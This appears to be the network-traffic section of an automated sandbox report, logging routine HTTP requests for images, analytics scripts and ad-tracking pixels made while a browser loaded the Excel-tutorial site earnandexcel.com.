Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/VBA-For-Professionals-11.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /modules.429236d560f51d186b8b.js HTTP/1.1Host: script.hotjar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/kiran.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /td/rul/416707819?random=1712870809382&cv=11&fst=1712870809382&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&hn=www.googleadservices.com&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-190016353-1&cid=668614997.1712870801&jid=175606831&_u=YCDACEABBAAAACAAI~&z=669666256 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/How-to-Make-Every-Other-Line-Shaded-in-Excel-480x260.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/How-to-Find-the-P-Value-in-Excel-480x260.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /config/com/5e40fa19-dd6c-4373-b1e0-df7865ef9034.js?v=3.14.1-2404091850 HTTP/1.1Host: tr.snapchat.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://earnandexcel.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&ev=PAGE_VIEW&intg=gtm&pids=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_c1=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&bt=1d53c387&d_a=x86&d_bvs=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&d_os=10.0.0&d_ot=Windows&df=true&huah=true&m_dcl=13578&m_fcps=5160&m_pi=13572&m_pl=0&m_pv=2&m_rd=14944&m_sh=1024&m_sl=0&m_sw=1280&pl=https%3A%2F%2Fearnandexcel.com%2F&trackId=3108c4b7-ae37-4861-a285-5aab2c2d3c38&ts=1712870808159&v=3.14.1-2404091850 HTTP/1.1Host: tr.snapchat.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sc_at=v2\|H4sIAAAAAAAAAAXBiQ0AMAQAwIkkKMU4nnQKw/fuVkmLKJTOARluCLoOcbiS01qf7ZIRu6FjLH7ZwecNMgAAAA==
Source: global traffic	HTTP traffic detected: GET /cm/s?bt=1d53c387&pnid=140&cb=1712870809737&u_scsid=47185214-94c3-45d1-a7ee-ffc33edca1dc&u_sclid=77ae9515-53a1-43ea-9410-53550c36a00d HTTP/1.1Host: tr.snapchat.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://tr.snapchat.com/cm/i?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&u_sclid=38ae9a90-f540-4555-a653-07722b05efcfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sc_at=v2\|H4sIAAAAAAAAAAXBiQ0AMAQAwIkkKMU4nnQKw/fuVkmLKJTOARluCLoOcbiS01qf7ZIRu6FjLH7ZwecNMgAAAA==
Source: global traffic	HTTP traffic detected: GET /signals/config/719379935201922?v=2.9.153&r=stable&domain=earnandexcel.com&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105 HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/How-to-Create-a-Control-Chart-in-Excel-480x260.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /ct/lib/main.4701fd00.js HTTP/1.1Host: s.pinimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/416707819/?random=1712870809382&cv=11&fst=1712870809382&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&hn=www.googleadservices.com&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widget.js HTTP/1.1Host: widget.wickedreports.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-190016353-1&cid=668614997.1712870801&jid=175606831&_u=YCDACEABBAAAACAAI~&z=669666256 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&ev=PAGE_VIEW&intg=gtm&pids=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_c1=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&bt=1d53c387&d_a=x86&d_bvs=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&d_os=10.0.0&d_ot=Windows&df=true&huah=true&m_dcl=13578&m_fcps=5160&m_pi=13572&m_pl=0&m_pv=2&m_rd=14944&m_sh=1024&m_sl=0&m_sw=1280&pl=https%3A%2F%2Fearnandexcel.com%2F&trackId=3108c4b7-ae37-4861-a285-5aab2c2d3c38&ts=1712870808159&v=3.14.1-2404091850 HTTP/1.1Host: tr.snapchat.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sc_at=v2\|H4sIAAAAAAAAAAXBiQ0AMAQAwIkkKMU4nnQKw/fuVkmLKJTOARluCLoOcbiS01qf7ZIRu6FjLH7ZwecNMgAAAA==
Source: global traffic	HTTP traffic detected: GET /idsync/ex/push?partner_id=2884&partner_url=https%3A%2F%2Ftr.snapchat.com%2Fcm%2Fp%3Frand%3D1712630663074%26pnid%3D140%26pcid%3D%24%7BTA_DEVICE_ID%7D HTTP/1.1Host: pixel.tapad.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://tr.snapchat.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /user/?tid=2614453997099&pd=%7B%22np%22%3A%22gtm%22%7D&cb=1712870810186&dep=2%2CPAGE_LOAD HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/?tid=2614453997099&pd=%7B%22np%22%3A%22gtm%22%7D&event=init&ad=%7B%22loc%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%22%2C%22ref%22%3A%22%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%224701fd00%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.149%22%2C%22ecm_enabled%22%3Atrue%7D&cb=1712870810187 HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /index.php?WickedClientID=3819&WickedEmail=&WickedTrackingDate=1712870810295&WickedURL=https%3A%2F%2Fearnandexcel.com%2F&WickedReferrerURL=&WickedNullURL=https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%20traffic&WickedNullReferrerURL= HTTP/1.1Host: track.wickedreports.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plainAccept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /idsync/ex/push/check?partner_id=2884&partner_url=https%3A%2F%2Ftr.snapchat.com%2Fcm%2Fp%3Frand%3D1712630663074%26pnid%3D140%26pcid%3D%24%7BTA_DEVICE_ID%7D HTTP/1.1Host: pixel.tapad.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://tr.snapchat.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0
Source: global traffic	HTTP traffic detected: GET /user/?tid=2614453997099&pd=%7B%22np%22%3A%22gtm%22%7D&cb=1712870810186&dep=2%2CPAGE_LOAD HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/?tid=2614453997099&pd=%7B%22np%22%3A%22gtm%22%7D&event=init&ad=%7B%22loc%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%22%2C%22ref%22%3A%22%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%224701fd00%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.149%22%2C%22ecm_enabled%22%3Atrue%7D&cb=1712870810187 HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1
Source: global traffic	HTTP traffic detected: GET /index.php?WickedClientID=3819&WickedEmail=&WickedTrackingDate=1712870810295&WickedURL=https%3A%2F%2Fearnandexcel.com%2F&WickedReferrerURL=&WickedNullURL=https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%20traffic&WickedNullReferrerURL= HTTP/1.1Host: track.wickedreports.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
